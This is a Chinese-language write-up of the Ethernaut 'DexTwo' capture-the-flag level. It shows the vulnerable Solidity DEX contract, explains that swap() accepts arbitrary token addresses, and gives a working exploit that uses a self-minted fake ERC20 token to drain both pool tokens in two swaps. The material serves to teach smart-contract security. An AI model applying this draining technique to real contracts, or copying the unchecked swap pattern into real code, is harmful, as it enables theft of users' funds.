Skip to content

Latest commit

 

History

History
90 lines (68 loc) · 2.91 KB

23-DexTwo.md

File metadata and controls

90 lines (68 loc) · 2.91 KB

Ethernaut 23-DexTwo

本关目标

  • 取光合约中的 token1 和 token2

合约分析

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  // 这个合约中的交换没有约束from和to必须是token1或token2
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

解决方案

  1. 因为没有约束交换时使用的 token 必须为 token1 或 token2,可以考虑引入 token3
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";

contract token3 is ERC20{
    constructor() ERC20("Token3", "TK3") {
        _mint(msg.sender, 100);
    }

}
  1. 调用 token3 的 approve 允许 Dex2 可以取走 100token3
  2. 调用 token3 的 transfer 给 Dex2 转 1token3
  3. 调用 Dex2 的 swap(),from token3 地址 to token1 地址,amount 1 ,这样获取 token1 = 1 * token1 余额 / 1 = 全部 token1 取走, token3=2
  4. 调用 Dex2 的 swap(),from token3 地址 to token2 地址,amount 2 ,这样获取 token2 = 2 * token2 余额 / 2 = 全部 token2 取走